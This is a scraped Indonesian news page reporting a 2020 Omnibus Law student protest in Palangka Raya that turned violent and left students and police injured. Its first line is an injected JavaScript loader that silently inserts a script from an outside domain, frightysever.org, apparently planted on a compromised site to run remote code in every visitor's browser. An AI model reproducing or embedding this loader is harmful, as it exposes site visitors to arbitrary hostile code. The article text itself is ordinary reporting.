(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PALANGKARAYA

Demo Omnibus Law di DPRD Kalteng Ricuh, Mahasiswa dan Polisi Terluka!


KANALKALIMANTAN.COM, PALANGKA RAYA – Aksi demo mahasiswa menentang UU Omnibus Law Cipta Kerja di gedung DPRD Kalteng, Kamis (8/10/2020) diwarnai ricuh. Mahasiswa dan polisi mengalami luka akibat memanasnya unjuk rasa.

Seorang mahasiswa dilaporkan mengalami luka dan sudah diobati. Pun demikian dengan dua anggota polisi yang mengalami luka bagian kepala dan tangan telah menerima penanganan medis dari personel kesehatan lapangan (Keslap).

Kapolresta Palangka Raya, Kombes Dwi Tunggal Jaladri mengatakan, kedua petugas tersebut merupakan personel Polresta Palangka Raya dan Direktorat Samapta (Ditsamapta) Polda Kalimantan Tengah.

Seorang personil Polresta Palangka Raya mengalami luka di bagian dahi, sedangkan seorang personel Ditsampata Polda Kalteng mengalami luka di bagian jari tangan. “Tetapi kondisi luka sudah berangsur membaik,” kata Kombes Dwi Tunggal.

polisi yang terluka saat amankan aksi. Foto: tri

Salah satu personil yang terluka, mengatakan, kejadian tersebut merupakan salah satu resiko yang harus terima saat menjaga kondisi keamanan.

Ketegangan disebabkan massa memaksa masuk ke dalam gedung dan berujung pada pelemparan benda-benda tumpul kepada barisan pasukan dalmas hingga pembakaran ban.

Namun kericuhan tersebut berhasil diredam melalui upaya negosiasi cukup alot. Bahkan Rektor Universitas Palangka Raya Andre Elia Embang, sampai datang ke lokasi, untuk menenangkan mahasiswa.

Setelah melalui negosiasi cukup lama, akhirnya mahasiswa bersedia membubarkan diri dan sepakat menyerahkan pernyataan sikap ke perwakilan staf DPRD Kalteng. Tetapi mereka memberikan waktu 2 x 24 jam bisa mendapatkan kepastian atas tuntutan mereka.

Tiga tuntutan aksi mereka adalah meminta anggota DPR-RI dapil Kalteng dan anggota DPRD Kalteng menolak UU Ciptaker. Kemudian meminta memberikan pernyataan sikap menolak dengan memberikan bukti penolakan berupa video. (kanalkalimantan.com/tri)

Repoter: Tri
Editor: Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.